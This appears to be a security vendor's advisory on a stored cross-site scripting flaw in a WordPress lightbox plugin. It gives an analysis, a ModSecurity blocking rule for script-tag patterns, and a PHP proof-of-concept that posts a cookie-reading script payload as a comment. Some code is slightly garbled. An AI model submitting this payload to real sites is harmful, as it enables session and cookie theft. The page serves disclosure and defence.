Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-123969 (metadata-based):
Fancy Lightbox plugin for WordPress, versions up to and including 1.0.0, contains an unauthenticated stored cross-site scripting vulnerability in the comment image link title attribute. The flaw allows an attacker to inject arbitrary web scripts into a comment that are stored and later executed when a user clicks the malicious image link. CVSS score 6.1 reflects network attack, low complexity, no privileges required, but user interaction is needed and scope changes.
Root Cause: The CWE-79 (Improper Neutralization of Input During Web Page Generation) classification and the description indicate that the plugin fails to properly sanitize the comment parameter on input and/or escape the title attribute on output. Atomic Edge analysis infers that the plugin processes comment content (likely via a WordPress comment hook or shortcode) and uses the unsanitized value in an HTML title attribute of an image link. This conclusion is inferred from the CWE and description; no code diff is available to confirm the exact vulnerable function.
Exploitation: An unauthenticated attacker posts a comment containing a specially crafted image link with a title attribute that includes JavaScript. The payload is: `Click Me`. The plugin stores this comment. When a user clicks the image link, the injected script executes in the context of the victim’s browser. The description states that successful exploitation without administrator interaction requires the attacker to first have one comment approved so that a subsequent payload comment is auto-published. The attacker cannot trigger the vulnerability alone; user interaction (clicking the link) and an administrator action (comment approval) are required. The exact endpoint is the standard WordPress comment submission (wp-comments-post.php) with the comment_content parameter, as the plugin hooks into comment processing.
Remediation: The fix requires proper input sanitization and output escaping. On input, the plugin should sanitize the comment content using WordPress functions like wp_kses() with allowed HTML tags and attributes. On output, the plugin must escape the title attribute using esc_attr() when building the image link HTML. Additionally, the plugin should enforce a whitelist of allowed attributes for the image link. Atomic Edge analysis notes that no patched version is available, so users should disable or remove the plugin.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser. This can lead to session hijacking, theft of cookies, redirection to malicious sites, or defacement. Since the script runs in the context of the vulnerable site, it can perform actions on behalf of the victim. The CVSS vector indicates low confidentiality and integrity impact, with no availability impact.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-123969 (metadata-based)
# This rule blocks attempts to inject script tags via the comment parameter when the
# Fancy Lightbox plugin is likely to process it. It is narrowly scoped to the comment
# submission endpoint and targets the specific payload pattern.
SecRule REQUEST_URI "@streq /wp-comments-post.php"
"id:20261239,phase:2,deny,status:403,chain,msg:'CVE-2026-123969 - Fancy Lightbox Stored XSS via comment title attribute',severity:'CRITICAL',tag:'CVE-2026-123969'"
SecRule ARGS_POST:comment "@rx (?:<script|<script|<script|%3cscript)"
"t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-123969 - Fancy Lightbox <= 1.0.0 - Unauthenticated Stored Cross-Site Scripting via Comment Image Link 'title' Attribute
// This PoC demonstrates how an unauthenticated attacker can attempt to submit a malicious comment
// to a WordPress site with the Fancy Lightbox plugin installed. It assumes the plugin does not
// sanitize the comment content and allows HTML in comments. The attacker must first have a comment
// approved to bypass moderation (if comment moderation is enabled). The script posts a comment
// with a crafted image link containing a JavaScript title attribute. The payload executes when
// a user clicks the link.
// Configuration
$target_url = 'http://localhost/wordpress'; // Change to your target WordPress site
$post_id = 1; // The ID of the post/page to comment on
$author = 'Attacker';
$email = 'attacker@example.com';
$comment_content = '<a href="#" title=""><script>alert(document.cookie)</script>">Click Me</a>';
// The endpoint for posting comments
$comment_url = rtrim($target_url, '/') . '/wp-comments-post.php';
// Prepare POST data
$post_data = array(
'comment' => $comment_content,
'author' => $author,
'email' => $email,
'comment_post_ID' => $post_id,
'comment_parent' => 0,
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $comment_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output result
echo "HTTP Status Code: $http_coden";
echo "Response:n$responsen";
// Note: If the comment is held for moderation, the attacker must wait for approval.
// If comment moderation is not enabled for previously approved commenters, the comment may be published immediately.
// The injected script will execute when a user clicks the image link in the comment.
// Assumptions:
// 1. The Fancy Lightbox plugin processes comments and outputs the image link title attribute without escaping.
// 2. WordPress allows comments with HTML tags (default allows some tags, but script tags are filtered by wp_kses).
// The payload uses a benign attribute injection that may bypass kses if the plugin uses its own output.
// 3. The attacker may need to first get a comment approved to enable auto-publication of subsequent comments.
?>